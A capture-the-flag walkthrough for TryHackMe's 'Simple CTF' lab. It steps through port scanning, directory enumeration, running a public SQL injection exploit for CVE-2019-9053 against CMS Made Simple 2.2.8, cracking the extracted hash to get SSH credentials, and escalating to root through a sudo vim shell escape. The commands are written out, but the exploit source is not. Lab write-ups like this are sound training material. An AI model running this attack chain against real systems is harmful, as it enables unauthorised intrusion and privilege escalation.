Simple CTF — TryHackMe Walkthrough

Platform: TryHackMe | Difficulty: Easy | CVE: CVE-2019-9053

---

1. Reconnaissance

Port Scan

nmap -p- --open <TARGET_IP>

Results:

Port	Service
21	FTP
80	HTTP
2222	SSH (non-default port)

Confirm port 2222:

nmap -p 2222 -sS -sV -A <TARGET_IP>

Output confirmed OpenSSH 7.2p2 on port 2222.

---

2. Web Enumeration

Visiting port 80 gave a default Apache page with nothing useful in the source.

Ran Gobuster to find hidden directories:

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

Found: /simple — a CMS Made Simple installation running version 2.2.8.

---

3. Vulnerability Research

Searched for known exploits:

searchsploit CMS Made Simple 2.2.8

Found CVE-2019-9053 — an unauthenticated time-based SQL injection affecting CMS Made Simple <= 2.2.9.

Grabbed the exploit:

searchsploit -m php/webapps/46635.py

The original exploit was Python 2 and had print/encoding issues. Fixed and converted to Python 3.

---

4. Exploitation (SQLi)

Ran the fixed exploit against the /simple path:

python3 46635.py -u http://<TARGET_IP>/simple

Extracted:

Field	Value
Salt	1dac0d92e9fa6bb2
Username	mitch
Email	(found)
Password hash	0c01f4468bd75d7a84c7eb73846e8d96

Cracked the MD5 hash using CrackStation:

0c01f4468bd75d7a84c7eb73846e8d96 → secret

---

5. Initial Access

SSH is running on port 2222. Connected with the cracked credentials:

ssh mitch@<TARGET_IP> -p 2222

User flag:

ls
cat user.txt

---

6. Privilege Escalation

Checked sudo permissions:

sudo -l

Output showed mitch can run vim as root with no password.

Used GTFOBins vim privesc to read the root flag directly:

sudo vim /root/root.txt

Or to get a root shell:

sudo vim -c ':!/bin/bash'

Root flag captured.

---

Summary

Step	Detail
Open ports	21 (FTP), 80 (HTTP), 2222 (SSH)
Web discovery	/simple → CMS Made Simple 2.2.8
CVE	CVE-2019-9053 (SQLi)
Credentials	mitch : secret
Privesc vector	sudo vim → GTFOBins

---

Tools Used

• nmap
• gobuster
• searchsploit
• Custom Python 3 exploit (CVE-2019-9053)
• CrackStation (MD5 lookup)
• ssh
• GTFOBins